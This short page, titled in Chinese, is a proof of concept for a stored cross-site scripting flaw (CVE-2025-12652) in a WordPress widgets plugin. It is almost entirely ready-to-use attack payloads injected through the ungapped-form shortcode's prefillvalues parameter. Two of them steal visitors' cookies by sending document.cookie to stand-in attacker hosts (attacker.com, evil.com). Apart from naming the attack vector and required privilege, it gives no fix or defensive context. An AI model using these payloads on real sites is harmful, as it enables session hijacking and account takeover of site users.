CVE-2025-12652: WordPress Ungapped Widgets插件存储型XSS漏洞

// CVE-2025-12652 PoC - Stored XSS in Ungapped Widgets // Author: Wordfence Security // Target: WordPress Ungapped Widgets plugin < 1 // Attack vector: Inject XSS via prefillvalues parameter in ungapped-form shortcode // Required privilege: Contributor or higher // Malicious shortcode injection: [ungapped-form prefillvalues='"><script>alert(String.fromCharCode(88,83,83))</script>'] // Alternative payload (event handler): [ungapped-form prefillvalues='" onmouseover="alert(document.domain)" x='] // Steal cookies: [ungapped-form prefillvalues='"><script>fetch("https://attacker.com/steal?c="+document.cookie)</script>'] // Auto-execution payload: [ungapped-form prefillvalues='</script><script>document.location="https://evil.com/log?d="+document.cookie</script><script>']